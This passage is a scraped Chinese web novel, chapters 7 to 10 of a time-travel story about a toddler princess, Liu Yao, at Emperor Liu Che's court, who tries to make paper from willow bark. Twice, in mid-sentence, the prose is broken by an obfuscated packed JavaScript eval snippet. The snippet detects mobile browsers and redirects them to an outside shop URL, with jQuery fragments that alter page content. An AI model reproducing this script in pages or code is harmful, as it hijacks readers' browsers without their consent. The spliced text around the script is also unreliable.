他自然不是真的要彻底摒弃黄老之学,一个最好的、适合社会发展的思想,应该是儒家、道家思想为主,法家为根本,而不是单一选择,再融合其他诸子百家思想,并不是要争个长短,就如同朝中局势,为了平衡,也不能过于宠幸其中一方势力,要相互制衡。 可惜一直劝不住太皇太后。 每当这时,刘彻就惋惜贾谊英年早逝,若是他还在,自己肯定更加事半功倍。 7. 第 7 章 对于太皇太后与刘彻之间的理政之争,刘彻苦闷时,也曾抱着刘瑶吐槽过。 刘瑶听得直打哈欠,她现在是小孩子,干嘛要折磨她。 刘彻:“阿瑶,你觉得阿父做错了吗?” 刘瑶揉了揉眼,努力吞下哈欠,“阿父没错。” 刘彻接过中常侍的帕子给她擦了擦眼角,“我看你压根不懂。” “阿父!”刘瑶闻言,小脸顿时一绷,严肃道:“求仙问道容易长歪,你可不能乱想。” 刘彻一头黑线,抬手轻轻捏住她的小鼻子,“说什么胡话呢!” 黄老之学岂能和求仙问道混为一谈。 “……阿父,坏!”刘瑶瞪大眼睛,小手使劲掰扯他的大手。 本身刘彻也没有用力气,一下子就将他的手给拽下来了。 刘彻见她气呼呼的模样,好笑道:“小小年纪,气性真大!” “……呵呵!”刘瑶闻言,龇起小米牙,冲着他冷笑两声。 刘彻见状,大手再次盖在她的头顶,促狭道:“再这样,小脸可就不漂亮了。” 刘瑶傲娇地扭头道:“彼此,彼此!阿父也气性大!” 刘彻眉心一跳。 他搞不懂自家公主为什么会喜欢说“彼此彼此”,经常不分场合用,让他颇为头疼。 …… 第三天,曹襄跟着平阳长公主雄赳赳,气昂昂地进宫,还带着一口大箱子。 刘瑶看着满箱的金子,小嘴半张着,听说这些是曹襄往年收到的一半金子,面色诧异,看着面前一脸真诚大方的小胖崽,有些尴尬地挠了挠脸。 这东西她可不能收,总觉得欺负小孩子。 见刘瑶不收,曹襄顿时焉了吧唧的。 刘瑶踮脚拍了拍他的肩膀,安慰道:“我有阿父呢,不缺钱。” 曹襄小脸鼓鼓的,“你都分我一半了,我也分你一半。” 刘瑶小手一摊,“那等你帮到阿父,拿到赏赐再分我吧。” 她将金子分享给他,也是按照小朋友的交友法则。 曹襄:…… 刘瑶没想到,他真听进去了。 本人屁颠屁颠地跑去未央宫,跟在刘彻身后,想要帮忙。 刘彻也有心逗他,让他帮忙搬竹简、研墨。 刘瑶听说后,也跑去未央宫去看热闹。 她要谴责阿父雇佣童工。 到了未央宫,就看到曹襄抱着一卷竹简跑的是虎虎生风,宣室殿的通风口已经堆积不少竹简,身边跟着一名内侍用手臂半护着,防止他摔倒。 小家伙是干劲十足,即使额头冒着细汗,速度也不减。 曹襄见她来了,一下子冲过来,“阿瑶,你来了。” 他指了指地上堆积如山的竹简,乐呵呵道:“舅父说了,我干完这些,他给我一百金。” “!”原先心疼曹襄的刘瑶瞪大眼睛,小手捂着胸脯。 她现在想心疼自己。 看来她家亲爹甚为富裕,以后可以尽情宰了。 想到此,她哀怨地瞥了刘彻一眼。 手持竹简,一副认真办公模样的刘彻似有察觉,头也不抬道:“阿瑶过来。” 刘瑶:…… 犹豫了片刻,抬脚移动。 曹襄一听,当即将怀里的竹简放下,也颠颠地跑过来。 刘瑶看着案头堆积的竹简,用手戳了戳竹片。 用竹简真是不方便。 虽说现在有缣帛,但是帛价格昂贵,虽然轻便、容易运笔,但是不易储存。 前段时间,她问了阿母,现下已经有了麻纸,是使用黄麻制作,但是成本昂贵,质量差,纸质粗糙,产量少,连麻衣的质感都没有,不易推广。 而且不如竹简容易保存。 对于生产力低下的古代来说,竹简除了笨重、不易携带,其他都是优点。 在她印象中,纸的原料很多,有树皮、麻布、渔网……只要是粗纤维的植物,应该都可以一试吧。 不过她只知道这些,如何将这些变成纸,她就一概不清了。 算了,这事不急,等她长大些再说,说不定能记起上辈子更多的事情。 刘彻见她不吭声,一直盯着竹简看,笑道,“是不是心疼阿父了?” 刘瑶叹气:“我是心疼自己。” 曹襄只是帮忙搬了几卷竹简,就得了一百金。 刘彻迷惑,“谁欺负你了!” 话音刚落下,面前的小家伙小肉手直戳戳指着他。 刘彻:…… 曹襄惊诧,“阿瑶,舅父打你了吗?” 刘瑶:…… 不等刘彻开口,曹襄当即控诉道;“舅父,坏!” “……”刘彻扶额头疼。 果然小孩子没脑子,他什么都没说呢,就朝他身上泼脏水。 刘瑶眼含欣慰地看着小胖崽,小孩子的友谊就是这般真诚,不枉她分了一半金子给他。 看到刘瑶亮晶晶的眼神,曹襄得意地挺起胸膛,“阿瑶莫怕!我们可以去找太皇太后和皇太后。” 刘彻;…… 连找人告状都想到了,不愧是阿姊的儿子。 虽然有些心塞,但是与孩子计较,似乎显得他欺负小孩。 刘彻挥挥手,“好好干活!朕还要继续处理政务。” “哦!”曹襄反应过来,他还要赚舅父一百金呢。 等曹襄离开,刘彻摊开一卷竹简看了起来,也不理刘瑶。 一旁的中常侍就看着刘瑶绕着御案转了两圈,然后将“魔手”伸向竹简。 刘瑶挪了一卷,发现真是重。 刘彻只是抬眸扫了一眼,说了一句,“别弄坏了!” 中常侍则是比较有人情味,“长公主莫要伤到了手。” 小孩子手嫩,竹片有些锋利,若是伤到手,就不好了。 “知道。”刘瑶冲他笑了笑。 中常侍脸上笑容加深。 刘瑶直接瘫坐在地上,将竹简展开,对于上面的内容,她只能辨别零星几个字,毕竟是手写,又是篆体,而且还是文言文,恕她学识浅薄,无法辨认多少内容。 一卷竹简全部摊开,粗略算了一下,没有多少字,若是换成纸张,也就两页的内容,挪到竹简上,就有些写不下了。 她看完以后,慢吞吞地将竹简又卷了回去,然后抱着还了回去,这一来一回,居然让她额头出了细汗。 刘瑶不由得叹气,这年头读书真是一个体力活。 刘彻注意到,拿出手帕给她擦了擦汗。 刘瑶堂而皇之地享受帝王的服侍,奶声奶气道:“阿父,你一次能看多少竹简?” 中常侍恭敬道:“陛下勤政爱民,一日要看百斤竹简。” 刘瑶一头雾水,百斤多少卷。 不过看阿父一副自得坦荡的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694985|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,百斤肯定多。 …… 过了片刻,曹襄终于忙完了,高高兴兴来找刘彻“结账”。 刘彻也爽快,让人拿了一百金。 曹襄欢喜道;“舅父,明日我还来给你干活!” “……”刘彻神情一噎,低声轻咳道:“明日不需要了。” 否则天天一百金,他就是有座金山,也经不住这样薅。 就在心中吐槽间,忽而腿边一重,低头对上刘瑶亮晶晶的眼神,“阿父~~明日我来给你干活好吗?” 帮忙搬些东西,就能赚一百金,她愿意干一辈子,风雨不辍。 刘彻嘴角一抽,哪能猜不出小家伙的主意,屈指轻轻给了她脑门一下,“小财迷!” …… 曹襄拿到一百金后,当即分了刘瑶一半。 刘瑶大方收下:“多谢阿狙表兄!” 曹襄高兴地直点头。 曹襄干完活后,刘瑶和他就出去玩了。 两人一起逛了珍馐署,传说中的御膳房,与曹襄一人得了一个烤鸡腿,就去御花园玩了。 …… 事业心强盛的刘彻也继续办公。 快到晌午的时候,一名内侍紧张跑进来,凑到中常侍耳边说了一嘴。 中常侍神色微变,迟疑地看着低头理政的刘彻。 “怎么了?”刘彻察觉视线,疑惑道。 中常侍迟疑了一下,说道:“长公主与小郎君将御花园中的柳树给剥了皮。尤其您种的那棵。” 他猜测长公主选上那棵柳树比较矮,好剥皮。 刘彻无奈道:“柳树怎么惹到她了?” 中常侍:“长公主说,她在做饭。” 想来是因为去了珍馐署得到的灵感。 刘彻:…… 原来是在过家家。 身为公主,加上刘瑶年纪又小,折腾东西不需要她亲力亲为,只需要动手就行。 对于服侍的宫女和内侍来说,只要刘瑶不闹腾、不哭,不乱吃东西,所以自然吩咐什么就干什么,但凡他们能上天,他们就干了, 有宫女和内侍帮忙,最后刘瑶折腾出一盅冒着热气的糊糊,刘瑶还在最上面点缀了一些花瓣和绿叶,卖相看着不错。 曹襄夸赞道:“阿瑶做的真好看,比珍馐署的厨子做的还好。” “那当然!”刘瑶得意地又撒了一把碎花。 众人:…… 一旁照看的宫女提醒道:“公主,这东西烫!你不能碰。” 尤其不能吃,也不能给别人吃。 刘瑶摆摆手,“这是个阿父做的。” 周围人顿时松了一口气。 曹襄小胖崽十分捧场道:“阿瑶对舅父真好!” 跟着的内侍和宫女顿时冷汗淋淋,想必陛下不想要长公主的这份“孝心”。 …… 就在刘彻知道消息,心中踌躇,想着如何拒绝自家女儿的“孝顺”,谁知刘瑶将东西盖严实,放在了外面,说是要在外面吸取日月精华,经历七七四十九日才能享用。 刘彻:…… 小孩子不大,黄老之学倒是时刻记在心上。 刘瑶也无奈,她依稀记得,对于纸的制作工艺,她现在脑子里也就一些零散常识,浸泡、煮沸、捣碎、发酵…… 她这个年纪,能做的也只有这些了,实在没办法,等她长大些,再给阿父“做梦”吧。 8. 第 8 章 为了防止刘彻将她做的东西毁掉,刘瑶不仅给盛放“树皮粥”的陶器垒了台子,还在周围用竹简围了一层篱笆,同样是从刘彻那里搜刮过来的。 刘彻看着她噗嗤噗嗤忙碌一番,最后给他整出来这个玩意,脑门青筋直跳,奈何孩子脾气大,不允许拒绝。 一开始有空的时候,每日去看,后来天气热了,也就不去了。 刘瑶不知道,在她“偷懒”的这段时间,有一日散朝后,曲逆侯与宣平侯闹了矛盾,两人争斗期间,不小心将她的陶罐给弄碎了,当时现场的气味甚为酸爽,倒在碎片中的曲逆侯更是一身狼藉。 围观众人不解,为什么未央宫这地方会放置这种不知名东西,难道有人故意谋害陛下。 反应过来的几名大臣大惊失色,连忙叫喊。 听到动静出来的刘彻看到这一幕,无奈望天。 经过中常侍的解释,众人了解这是长公主刘瑶做的东西。 心中更加纳闷,一个两岁孩童折腾这种东西干什么,陛下也宠着。 没等曲逆侯、宣平侯长舒一口气,就听陛下道:“阿瑶对这东西看得紧,就是朕也不轻易碰,你们将它弄烂了,让朕怎么与阿瑶交代。” 曲逆侯:…… 一个两岁孩童,哄一下不是挺简单的事情。 不过陛下这样说,肯定不想要这结果。 曲逆侯拱手道:“微臣愿意赔偿长公主,不过张寿也要担责,臣的衣服都被他弄脏了。” 宣平侯当即怒道:“陈何,是你先找我的麻烦,先动手的也是你。” 他们都是开国功臣的后代,他家当年还被封为了赵王,只是后来倒霉,才被贬为宣平侯,陈何凭什么对他耀武扬威,虽说他的祖父智谋不如曲逆侯陈平,但是他家地位也不低,也算半个皇亲国戚。 见两人又要打起来,周围人连忙劝导。 刘彻挑了挑眉,指着地上的碎片,“你们将这里打扫干净,重新做一个一模一样的,看看能不能哄着阿瑶,若是哄不了,朕救不了你们。” 宣平侯、曲逆侯傻眼:…… 看着地上如同从胃里反呕出的东西,更是无奈。 他们又不了解小孩子,无法判断出她都放了什么东西。 中常侍给一名小黄门使了眼色。 等到刘彻与众人离开,小黄门满脸堆笑道:“两位侯爷,长公主如何弄的,奴婢知道一些,其实也简单,就是一些熬煮过的柳树皮。” 宣平侯纳闷:“长公主她弄这些干什么?” 曲逆侯嘲讽道:“还能干什么,当然是玩!” “呵!谁家两三岁的孩子折腾这东西。”宣平侯同样不屑道。 他们也养过孩子,这个年纪的孩子虽然闹腾,也就是玩鼻涕吃奶的阶段,什么时候可以折腾这种东西。 小黄门尴尬一笑,“坛子里是长公主给陛下做的饭。”而且还祸害了陛下亲手种的柳树。 两人顿时闭上了嘴。 怪不得陛下重视,原来是小公主的一番孝心。 …… 好不容易等到天气有些凉爽,刘瑶琢磨她弄得东西差不多了,跑到未央宫看成果。 坛子还是那个坛子,竹简篱笆也在,可是她总觉得有些不对劲。 刘彻见小孩小脸迷惑,佯装不解道:“怎么了?难道你还怀疑朕先偷吃了?” 一旁守着的中常侍:…… 刘瑶:…… 她挠了挠头,不再理刘彻,吩咐宫女将坛子拿出来,然后揭开了盖子,一股带着酒酸的味道直冲鼻腔,呛的她有些晕。 刘瑶从旁边捡了一根树枝,随便搅和了两下,里面有气泡和浮沫冒出,看这样子,似乎失败了。 她歪了歪脑袋,难道自己少了一个步骤? 刘彻见她也不觉得臭,但是自己忍不了,俯身抱着她远离罐子,顺便将她手中的树枝也扔了,警告道:“那东西坏了,你莫要接近。” 刘瑶叹气,果然上辈子学的知识还是不够,她现在只知道题目和答案,但是中间的解题过程,就让人无奈了。 “知道。唉!看来日月精华吸收不够。”刘瑶叹气。 刘彻听到这话有些心虚,毕竟现在那罐树皮粥才做了没几天。 刘瑶拍了拍刘彻的胳膊,“阿父只能等下一次了。” 刘彻:…… …… 不过刘瑶还是不死心,从未央宫里搜罗出一面青丝罗扇,然后将疑似纸浆轻轻浇了一层。 奉命陪着她玩耍的中常侍好奇道:“长公主,您这是在干嘛?” 刘瑶稚声道:“摊饼!” 中常侍:…… 明明刚才说不打算给陛下“享用”。 趁着好天气,她将扇子斜放在窗前,将其固定住,然后离开了。 等刘彻暂时忙完政务,就看到自己宫里的扇子被折腾出这个鬼样子。 在骄阳、清风的作用下,青色罗扇上已经有一层明显的黄色软块,很像炊饼。 刘彻这样想,也是因为小家伙一直说给他做饭,自己才有这样的联想。 …… 大概下午的时候,刘瑶带着从珍馐署打劫的蜜水来到未央宫,大声道:“阿父,阿瑶来看你了。” 刘彻听到动静,放下手中的竹简,看到阿瑶身后宫女捧着的陶罐,眼皮一跳,有一种不好的预感,对上自家女儿灿烂的笑脸,他着实无法板着脸,低声轻咳一声, “阿瑶,这是在做什么?” “我在珍馐署找到蜜水,和阿父分享。”刘瑶哒哒跑到他的桌前。 珍馐署的厨子一开始不敢给她这么多蜜水,她还是借了刘彻的名头,绝对不是自己嘴馋了。 刘瑶默默舔了舔唇瓣。 即使年纪小,现下也要多刷刷汉武大帝的好感,以后才能更加愉快地在他头顶作威作福。 “哦!阿瑶真是孝顺!”刘彻顿时松了一口气,“阿瑶与朕一起享用吧!” 刘瑶眼睛顿时放光,连连点头,“阿父真英明!” 刘彻叹笑,看在她嘴馋还能想到自己的份上,不说她了。 中常侍亲自给二人舀了两碗蜜水,清甜爽口,里面还混有糯米做的小团子,似乎混合果汁做成的,带着杨梅味。 小孩子肚皮子浅,刘瑶吃完一碗,基本上就半饱了,剩下的都由刘彻消化。 她擦干嘴巴,跑出殿外去看罗扇上的东西。 经过一天的风干,已经差不多干了。 罗扇中的东西与其说是纸张,不如说是纸块,看卖相还不如吃的上辈子吃的卷饼,最起码人家是又薄又透,她手上这东西不止粗糙还没有韧性,轻轻一扯,就烂了。 她小心揭开,在手中掂了掂,小眉头微皱。 这算成功了吗? 跟着她的宫女紧张地看着她,“长公主,这东西可不能往嘴里送。” 虽然看着像是吃的,人在饿极了的时候,吃些树皮也能撑一下,但是这东西绝对不能吃。 刘瑶:…… 她眼珠子转了转,捏着纸块屁颠屁颠地跑进殿内,“阿父,我有好东西给你!” 刚进殿,发现殿内多了一个欣长的背影。 正在给刘彻汇报事情的东方 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一个官员送六卷,朝中那么多大臣,一月送的竹简,怕是珍馐署做饭都不用柴了。 东方朔点头。 刘瑶顿时目露同情地看着刘彻,“阿父真难!” “……咳!”刘彻对于女儿的心疼十分受用,见东方朔表情复杂,揶揄道:“阿瑶不知道,之前东方朔毛遂自荐时,曾经给朕写过三千片竹简,朕用了两个月才看完。” 他着实被这个数量惊到了,用三千多竹简夸赞自己,他实在好奇,所以将他宣进长安,后来发现他言辞敏捷、滑稽多智,放在身边也能解闷。 刘瑶更是瞪大了眼睛,惊诧地看着东方朔,一副“原来你竟然是这种人”的表情,惹得东方朔颇为尴尬。 上辈子她也是有过求职经历的,若是如东方朔这样写简历,估计连西北风都喝不上。 刘彻见状,笑的更加愉快了,见小家伙早就忘了话题,提醒道:“阿瑶要给朕什么东西?” 话音刚落,软嫩的掌心在他面前摊开,几片淡黄色,让人眼熟的东西显露出来。 刘彻:…… 早知道就不提这个话题了。 东方朔不解道:“长公主,你这手中是蒸饼?” 刘瑶叹气:“不能吃。” 东方朔又仔细看了看,再次猜道:“难道是麻布?不对,似乎更像麻纸?” 听到这话,刘瑶顿时惊奇了,“东方先生会做麻纸?” 东方朔摆手道:“我之前游历民间时,见人做过,也看过一些,难道长公主这做的也是麻纸?” 刘瑶闻言,低头看了看掌心十分粗糙的纸块,眉心纠结,“我这应该叫柳纸?” “?”东方朔不解。 恕他学识浅薄,长公主说的是什么意思? 刘彻倒是懂了,用柳树皮做的纸,就叫“柳纸”。 见东方朔知道,她上前将纸块塞到他手中,小脸严肃,托付道:“东方先生,柳纸这件事我就托付你和阿父了,你们莫要让我失望。” 东方朔风中凌乱,他自问思绪也是天马行空,不受约束,但是今日撞上刘瑶,算是碰上对手了。 围观的刘彻见东方朔吃瘪,顿时直乐。 刘瑶交代完,直接蹦蹦跳跳离开了。 留下东方朔看着纸片沉思。 刘彻也捡了一块,放在掌心把玩,微微蹙眉,拿起笔架上的毛笔往上面划了两下,看到墨色渗入纸片,挑了挑眉。 9. 第 9 章 刘彻捏着手中的纸块,语带笑意,“东方朔,一向都是朕命令别人,今天还是第一次被别人托付事情。” 东方朔拱手道:“陛下,长公主小孩子脾气,想法天马行空,也是能理解。” “罢了,罢了!她既然折腾完了,朕也不说什么。”刘彻将染着墨汁的纸块扔到桌上,暂时将此事放下。 刘瑶回到昭阳殿后,已经缠着卫子夫,给她找如何制作麻纸的资料。 以她弄的成品,实在无法向大人证明树皮也能制作纸。 卫子夫轻轻蹙眉,“这事有些难办。” 她也是因为在长公主府听说过麻纸,换成其他人估计就知道帛书和竹简,让她从哪里了解麻纸的制作技法。 一旁的卫青忽然一拍手,“二姐应该知道。” 刘瑶与卫子夫齐齐看着他。 卫青下意识挺直胸膛,掩唇轻咳一声,“阿姊应该知道二姐之前与霍仲孺认识,姓霍的似乎懂这些东西,我回去后问问二姐。” 霍仲孺是河东郡平阳县人,是平阳县的小吏,在去平阳公主府当差时,与二姐相识,后来生下霍去病,对于此人,卫青颇为不屑,明明是他先撩拨二姐的,最后偏偏连孩子都不认。 刘瑶听得云里雾里,电光火石间,恍然大悟,这个“霍”应该就是霍去病的“霍”吧。 想起霍去病,刘瑶跑回内殿,盛钱的布袋被她拖得“啪啪”作响,塞到卫青怀里,稚声道:“给霍去病的。” 好好打好底子,未来才能少些风险,这可是上天给大汉的“外挂”。 卫青心生感动,“阿瑶真乖,去病那小子如果有阿瑶这么乖巧,我和二姐就放心了。” 霍去病这小子,小时候长得挺可爱机灵的,可是随着年龄越大,发现越发调皮,整日上房揭瓦,二姐天天头疼。 卫青不知道,五六岁正是人憎狗嫌的年纪,以后有他受着。 刘瑶豪爽地拍拍胸脯,“我有钱,你们随便花。” 缺钱了,大不了她去搜刮刘彻。 卫青失笑。 他们一大家子怎么可能靠小孩子养着。 …… 卫青回到卫府,首先迎接他的就是霍去病。 五岁的小皮猴一个爆冲,一下子跳到他的身上,“舅父,我好想你!” “今天又闯了什么祸!”卫青大手搓了搓他的头顶。 天天见面,有什么好想的。 没等霍去病“狡辩”,卫少儿抓着扫帚出来,没好气道:“他钻狗洞去隔壁家,和隔壁狗打了一架。” 霍去病解释道:“那只大黄狗总是吓唬阿母和大母,它讨打。” 卫青无语,“无论如何,你也不应该与狗打架啊!” 霍去病得意道:“我带了宝剑。它打不过我。” 所谓宝剑,是卫青给他做的木剑。 卫青叹气,抱着小孩来到卫少儿跟前,拎着他的后脖颈,“二姐,你接着收拾吧。” “舅父!”霍去病瞪大眼睛,不可置信地看着他,如同翻身的乌龟一般拼命滑动四肢。 卫青被他这样子逗乐。 卫少儿也忍俊不禁,将扫帚扔了,抬手拧着他的耳朵,没好气道:“以后还皮吗?” 霍去病连忙求饶,“一定乖乖听阿母的话。” 卫少儿摇头笑道,“哼,今日看在青弟的份上,放过你。” 唠嗑完毕,卫青夹着霍去病进了主屋,卫媪见他回来,笑的眼角都是褶子,“阿青回来了。子夫好吗?孩子好吗?” 卫青:“阿母!阿姊和公主都好。” 说起这个,卫青将霍去病放下,然后从怀里掏出一个布袋,将金饼拿出来,说道:“这些是阿瑶让我给去病的,说是让他好好补身体。” 卫媪将霍去病唤到面前,左右拍了他两下,笑道:“这孩子壮的跟个小牛犊一样,还需要补吗?难道你骗公主了?” 都是一家人,子夫犯不着以公主的名义接济他们,而且卫青性子敦厚,不会拿话哄他们,看来真是公主的心意。 卫青苦笑不得:“哪敢啊?可能被阿瑶误会了。” 霍去病好奇地看着卫青手中的布袋,他听懂了,是宫里姑母生的妹妹送给他的,可是舅父不是说妹妹年岁很小吗? 卫少儿神情惊讶,而后看向霍去病,恨铁不成钢道:“去病,你看看公主多懂事,再看看你!” 霍去病嘻嘻一笑,屁颠屁颠跑到卫青身边,“舅父,这是我的吗?” “是阿瑶给你的。”卫青嘴上这样说着,却扬高手臂,躲过了对方伸过来的小手,看向卫少儿,“二姐,这钱交由你保管。” 自从阿姊诞下阿瑶,成了夫人后,他们卫家的地位水涨船高,不仅脱离了奴籍,有了大宅子,有了奴仆,算是吃喝不愁,这些钱既然是阿瑶给去病的,就交给二姐保管。 说完,将袋子递给霍去病,让他传过去。 霍去病看着里面的金饼,嘴巴噘的老高,“明明是妹妹给我的,为什么要交给阿母。” 他从小到大,还没有拥有过如此多的金饼。 卫少儿见状,沉声道:“去病,过来!” “唉!”霍去病顿时焉巴巴的,磨着鞋底,慢吞吞移过去。 室内众人看着他如此孩子气的一幕,纷纷哈哈大笑。 卫少儿拿到袋子,看着里面的金饼,神情有些复杂,面色感慨,“想不到,公主年岁这般小,就惦记家里人,去病和她一比,着实不像话。” 她年少时,总希望能摆脱奴籍,为此将希望放在霍仲孺这样的县吏身上,至于更高身份的人,她也没资格接触,若是能嫁给霍仲孺,已经是他们这些奴籍出身的女孩子最大的荣耀了。 可惜她选错了人,没想到霍仲孺没有担当,离开平阳公主府后,完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694987|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她抛之脑后,不仅忘了她,甚至连孩子也不认,每当看到去病,她内心总是充满不甘心和愧疚。 她是奴,孩子也是奴,霍仲孺那家伙就算不愿意接纳她,就不能给去病一个堂堂正正的身份吗? 后来陛下在平阳公主府看上子夫,她虽然高兴,心情也着实复杂。 自小她自问比子夫漂亮、机灵,最后她找了霍仲孺这样的人,子夫反而被陛下看上,但是她可以对天发誓,当年心中只是有些酸意,未曾有过其他恶念。 子夫进宫后,一下子就被陛下抛到脑后遗忘了一年,在那期间,她十分担心她,宫规森严,子夫又只是家人子,什么时候在宫中无声无息消失了,他们都不知道。 为了能让卫家翻身、能多给子夫带点助力,她之后又将赌注压到了曲逆侯陈何的弟弟陈掌身上,后来陈掌许诺她要纳她为妾。 就在她等陈掌消息时,却得到了子夫重新获宠,并且有了身孕的消息,这一下卫家水涨船高,脱离了奴籍,卫青也成为了陛下身边的侍中。 他们卫家能翻身,所有荣耀皆来自子夫。 没有人看到她为了让卫家摆脱奴籍做的努力。 至于陈掌,她差不多也放下了,就当是自己遇人不淑,自己还有儿子,犯不着去给陈掌做妾。 …… “二姐。”卫青的话打断了卫少儿的思绪。 卫少儿缓过神,“……啊?” 卫青说道:“二姐可知道如何做麻纸?” “麻纸?”卫少儿愣了一下,锁眉思索了一番,有些迟疑道:“听人说过,不过我没动过手。” 听到这话,卫青松了一口气,“阿瑶好奇麻纸怎么做的,我不知晓,二姐如果知道,可否说一遍,我好告诉阿瑶。” 卫媪纳闷道:“阿瑶询问这些做什么?” 卫青:“阿瑶想要用柳树皮做纸,但是没成功,所以想问一下麻纸的做法。” 室内众人表情有些恍惚。 子夫的孩子满打满算还不到两岁。 难道皇家出生的孩子真的天赋异禀? 再者,他们从未听说柳树皮能如黄麻一样做纸的。 卫少儿思索片刻,眸光流转,“青弟,你让阿瑶等一些时日,我看看能不能折腾出来。” “二姐!”卫青诧异地看着她。 难道二姐也要折腾那个所谓的“柳纸”? 卫少儿温和一笑,“我信得过阿瑶。” 她现下也无事,不如给自己找些事做。 她信一些人生来就是得天宠爱的,也许这也是阿瑶给她的机会。 卫君孺掩唇笑道:“我猜她是觉得收下阿瑶的金子有愧。” 小孩子的心意太过赤诚,就连少儿这般刚强的性子都遭不住。 “长姐!”被戳中心思的卫少儿面色微窘,微微侧头。 室内众人顿时发笑。 10. 第 10 章 刘瑶听说卫少儿有意想要琢磨造纸之术,原想再给她送些金子,研究东西可是十分耗费钱财和心力的,可是被卫子夫制止了。 卫子夫笑道:“你是我女儿,年岁还小,怎么能继续让你出钱,二姐既然是帮你的忙,也是帮我,这钱理应我出。” 她不觉得孩子是胡闹,也期待二姐能研究出东西。 卫青挠了挠头,“都是一家人,再说二姐说了,用不了几个钱。” 刘瑶见两人推来推去,眼珠子转了转,小手拍了一下桌子,“咱们都不出钱,让阿父出。” 呜呜!力气下重了,好疼。 “……”卫子夫看着吹着掌心,龇牙咧嘴的小家伙,心疼地握住她的手,看着掌心的红印,哭笑不得道:“说话就说话,干嘛与自己的手过不去。” 刘瑶:“我看阿父做决定时,也是这样的。” 卫青看着母女俩依偎在一起,笑道:“好了好了,造纸的事情还未成,等到成功了,二姐肯定不会与你们客气的。” 卫子夫含笑点头。 就在此时,子燕轻声道:“夫人,长乐宫宣您过去。” 刘瑶瞪大眼睛,目露询问。 “什么事?”卫子夫疑惑。 一旁的孟乐低声道;“不知道,不过今日奴婢听说淮南王刘安带着女儿刘陵进宫。可能因为这事。” 最近太皇太后身体每况愈下,长乐宫那边比较安静,馆陶大长公主与陈皇后的注意力都在太皇太后身上。 而卫子夫因为有孕在身,皇太后让其安心养胎,尽量少到长乐宫,担心染到病,不过卫子夫仍然每天带刘瑶长乐宫请安。 卫青见状,不再打扰,向卫子夫告辞,继续回去巡逻办公了。 卫子夫不再耽搁,去了内殿换了一身衣服,浅绿色的直裾淡雅端庄,完全看不出来怀有四个多月的身孕。 刘瑶如同跟屁虫一般跟在她身后,“阿母,我也去!” “你也要去?”卫子夫低头看着腿边的小娃娃。 刘瑶用力点点头,“去看菽乳!” 现在豆类称为菽,豆腐叫做菽乳,以后有机会她就将“豆腐”的名字加上,省的自己叫的拗口。 她好奇这位发明了豆腐的淮南王长什么样子,依稀记得他后面好像造反了吧。 “?”卫子夫愣了一下,反应过来,刘瑶说的应该是淮南王刘安,顿时啼笑皆非,弯腰轻手点了点她的小鼻梁,“在长乐宫可不能乱说。” “知道!”刘瑶再次点了点头。 …… 卫子夫带着女儿来到未央宫时,太皇太后的宫里来了不少人,平阳长公主母子、馆陶大长公主、陈皇后,还有一个较为陌生的俏丽女子,此女子颇为大胆,毫不避讳地扫量她与阿瑶。 至于殿中唯一一名老者,就是淮南王刘安了。 淮南王看着仙风道骨,和善可亲,见到刘瑶,温笑道:“这就是陛下的长公主?果然伶俐秀气,天真无邪,不愧是陛下的孩子。” “彼此,彼此!”两头身的刘瑶向他拱手谢道。 小胖崽曹襄也跑出来,一下子跳到淮南王面前,“我也要!” 淮南王神色一噎,眸中闪过诧异,同时对曹襄心生无奈,他之前已经夸奖过了,明明这孩子一副不在乎的样子,现在怎么又跳出来了。 他果然老了,跟不上这些小孩的思维。 “噗呲!”平阳长公主掩唇忍笑。 精神不济的太皇太后也乐不可支,指着刘瑶与曹襄,“你们这两个小皮猴!” 小孩子真是有意思。 陈皇后看着太皇太后望向刘瑶那副慈爱的模样,悄悄扯了扯馆陶大长公主的袖子。 馆陶大长公主给了她一个安抚的眼神,现在不是急的时候。 一直观察现成氛围的刘陵眼波流转,红唇勾起一个妖娆的弧度,“这就是陛下唯一的公主吗?果然漂亮。父王,我将来的孩子也要长成这样。” 淮南王目露无奈,看向太皇太后,“太皇太后,这孩子被我惯坏了,还请您见谅。” 太皇太后摆手笑了笑,“你这次带她来长安,就是来选女婿的,大大方方说出来也好。” 不过刘陵这话,却让馆陶大长公主和陈皇后觉得刺耳,陈皇后没忍住,冷眼瞅了她一眼。 “……”刘陵故意忽视,假装不知道。 陈阿娇不去针对卫子夫与刘瑶,反而看她不顺眼,这心胸、这脑子能当上皇后,真让人嫉妒她的运气和出身啊。 太皇太后招手将刘瑶唤到眼前。 曹襄见状,也跟了上去。 一个是自己的曾外孙,一个是曾孙女,太皇太后将两人搂在怀里。 一大一小两个孩子站在一起,虽然知道两人年岁相差不少,但是没想到体型差这么多。 她关心道:“阿瑶平日吃的好吗?怎么摸着瘦了?” 众人看向卫子夫。 卫子夫淡定下跪,“回禀太皇太后,阿瑶饮食还算省心,平时睡觉也香,上月还长重了两斤。” 刘瑶见状,拿过软塌上的帕子给太皇太后擦了擦额头的细汗,噘着嘴道:“太皇太后,你抱抱阿狙,他这样子太胖了,要减重。” 别说她,正常小孩子谁与曹襄站在一起,也都是小鸡崽。 刘瑶奶乎乎道:“阿狙长得大,比我大,与白胡子淮南王站一起就小了,太皇太后,咱们换着看。” 